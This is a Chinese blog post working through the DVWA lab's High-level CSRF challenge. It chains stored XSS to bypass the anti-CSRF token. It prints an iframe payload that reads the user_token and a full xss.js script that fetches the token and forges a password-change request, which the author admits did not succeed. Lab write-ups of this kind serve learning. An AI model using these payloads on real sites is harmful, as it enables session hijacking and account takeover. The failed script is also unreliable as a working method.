• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
miniboom
博客园    首页    新随笔    联系   管理    订阅  订阅

DWVA系列-2-csrf High等级 绕过user_token的xsrf

打算从0到1,重新做一遍DWVA靶场,复习各个技巧并记录下思路和总结。

 

看源码,必须要有用户的token我们才能完成csrf攻击。

 

 

如何获取用户的token?还有,因为csrf实际攻击最终都是在攻击服务器中完成的,不同的域名和IP有跨域问题,如何搞定?

如果有xss,js代码执行获取到token是一种思路。

 

这里利用存储型xss high等级来获取目标token

high等级name处有漏洞,由于限制了输入长度,所以我们要进行抓包、改包:

 

 

 

 

 

获取token,在txtName处输入

<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

即可弹出token值。

 

 

我们来分析下xss的这个payload

<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

 

使用iframe嵌套页面,不用跳转,src内的内容是csrf页面的内容,后面 onload是图片或者页面加载完成会立刻执行,alert弹窗,利用document获取页面为user_token的值,也就是token。底下是csrf页面的源代码,可知,src页面也要连接对。也可以是绝对路径,只要能加载出csrf界面即可。

<form action="#" method="GET">
            Current password:<br />
            <input type="password" AUTOCOMPLETE="off" name="password_current"><br />
            New password:<br />
            <input type="password" AUTOCOMPLETE="off" name="password_new"><br />
            Confirm new password:<br />
            <input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
            <br />
            <input type="submit" value="Change" name="Change">
            <input type='hidden' name='user_token' value='415f4807ddd55742339bf12fddc9b1fc' />
        </form>

 

 

好了,xss.js已被放置到远程服务器,只要它被受害者访问,user_token就会被盗走并修改密码成test。

如何让受害者访问?在xss处直接插入该xss.js地址,当受害者访问到这个页面时,触发xss => csrf =>密码被改。

 

 

 cooike是弹了,但是密码没被修改。

 

xss.js代码贴出来

alert(document.cookie);
var theUrl = 'http://172.16.1.178/DVWA/vulnerabilities/csrf/';
if(window.XMLHttpRequest){
    xmlhttp = new XMLHttpRequest();
}else {
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;

/*
如果在发送来自其他域的XMLHttpRequest请求之前,
未设置withCredentials 为true,那么就不能为它自己的域设置cookie值。
而通过设置withCredentials 为true获得的第三方cookies,将会依旧享受同源策略,
因此不能被通过document.cookie或者从头部相应请求的脚本等访问。
*/
//简单的来说,这个设置为true,就代表可以跨域。带上其他域的cookie,依旧享受同源策略。
xmlhttp.withCredentials = true;

//ajax事件,存储函数(或函数名),每当 readyState 属性改变时,就会调用该函数。
xmlhttp.onreadystatechange = function () {
    //xmlhttp.readyState == 4 代表响应已完成;您可以获取并使用服务器的响应了。
    if(xmlhttp.readyState == 4 && xmlhttp.status == 200)
    {
        var text = xmlhttp.responseText;
        //提取user_token
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        console.log(match);
        alert(match[1]);
        var token = match[1];
        //待观察
        var new_url = 'http://172.16.1.178/DVWA/vulnerabilities/csrf/?' +
            'password_current=password&password_new=password&password_conf=password&Change=Change&user_token='+token+''
        if (count == 0){
            count++;
            xmlhttp.open("GET",new_url,false);
            xmlhttp.send();
        }
    }
};
xmlhttp.open("GET", theUrl, false);
xmlhttp.send();

 

我试了,没成功,有成功的老铁麻烦告诉我如何绕过,蟹蟹

未完待续......

 

posted @ 2019-11-18 16:06  miniboom  阅读(690)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3